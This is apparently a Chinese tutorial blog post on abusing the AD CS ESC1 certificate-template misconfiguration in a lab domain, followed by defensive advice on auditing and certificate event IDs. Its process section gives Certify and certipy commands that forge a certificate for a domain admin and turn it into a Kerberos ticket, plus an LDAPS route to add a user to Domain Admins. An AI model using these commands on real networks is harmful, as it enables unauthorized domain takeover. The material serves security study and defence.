简介
2021年的BlackHat大会上,Will Schroeder和Lee Christensen发布了关于Active Directory Certificate Services 利用白皮书《Certified Pre-Owned - Abusing Active Directory Certificate Services》。
攻击对象为AD CS,攻击手法主要是利用证书模版配置、证书模版访问权限配置,PKI访问权限配置和CA访问权限配置错误,导致的windows域内权限提升或持久化。
条件
- 攻击者已拿下域内一个低权限账户
- 存在错误配置且已发布的证书
(1) 颁发CA授予低权限用户读取权限(默认)
(2) 模板中CA管理员审批未启用(默认)
(3) 模板中不需要授权的签名(默认)
(4) 模板允许低权限用户注册
(5) 模板定义了启用认证的EKU
(6) 证书模板允许请求者在请求中中指定一个SAN - AD: 支持PKINIT扩展认证(client通过证书进行kerberos认证,可选)
过程
- AD CS配置存在漏洞的证书: certsrv.msc->证书模版->右键管理
- 复制现有的User证书,将新证书配置如下
- 回到证书模版界面,右边空白处右键,新建->要颁发的证书模版,选择启用刚刚创建的ESC1证书模版
- Certify find /vulnerable, 寻找错误配置证书ESC1
- certipy req -username test@hack.com -password xxx -ca hack-2012-DC-CA -target 2012-DC.hack.com -template ESC1 -upn test2@hack.com
在已获得域用户账户密码情况下,利用存在配置错误的ESC1证书模版,使用-upn参数指定要伪造的用户(此处test2为域管)
- certipy auth -pfx test2.pfx -dc-ip 192.168.190.142, 利用已获取的test2域管证书拿其TGT,此时会出现error,表示kdc不支持通过证书进行kerberos认证(默认也没开启)
- 可选择去域控上,组策略管理器->计算机配置->策略->管理模版->系统->KDC,开启PKINIT认证
- certipy auth -pfx test2.pfx -dc-ip 192.168.190.142 -kirbi,获取域管test2的tgt。拿到域管tgt后的利用不再赘述
- .另外,实战中不能改预控配置情况下,可选择使用ldaps进行证书验证(Active Directory supports certificate authentication over two protocols by default: Kerberos and Secure Channel (Schannel). One protocol that supports client authentication via Schannel is LDAPS (LDAP over SSL/TLS))
- 工具默认支持对创建新用户,将用户加入组,改用户密码等。成功新建用户test_ldap,并加入域管组
防御
- 证书模版配置正确,另外也需确保证书模版访问权限,PKI访问权限,CA访问权限配置无误
- 日志开启
win默认不开启证书相关日志审核,需要在AD CS服务器上,certsrv.msc中,右键左侧的CA名->属性->审核中勾选上要审核的事件
- 日志监控
可重点监控4886和4887相关折证书申请和签发日志
其他event id:
(1) Certificate设置相关更改Windows 4873: A certificate request extension changed Windows 4873: A certificate request extension changed Windows 4873: A certificate request extension changed Windows 4899: A Certificate Services template was updated Windows 4900: Certificate Services template security was updated
(2) Certificate申请
Windows 4868: The certificate manager denied a pending certificate request
Windows 4869: Certificate Services received a resubmitted certificate request
Windows 4886: Certificate Services received a certificate request
Windows 4887: Certificate Services approved a certificate request and issued a certificate
Windows 4888: Certificate Services denied a certificate request
Windows 4898: Certificate Services loaded a template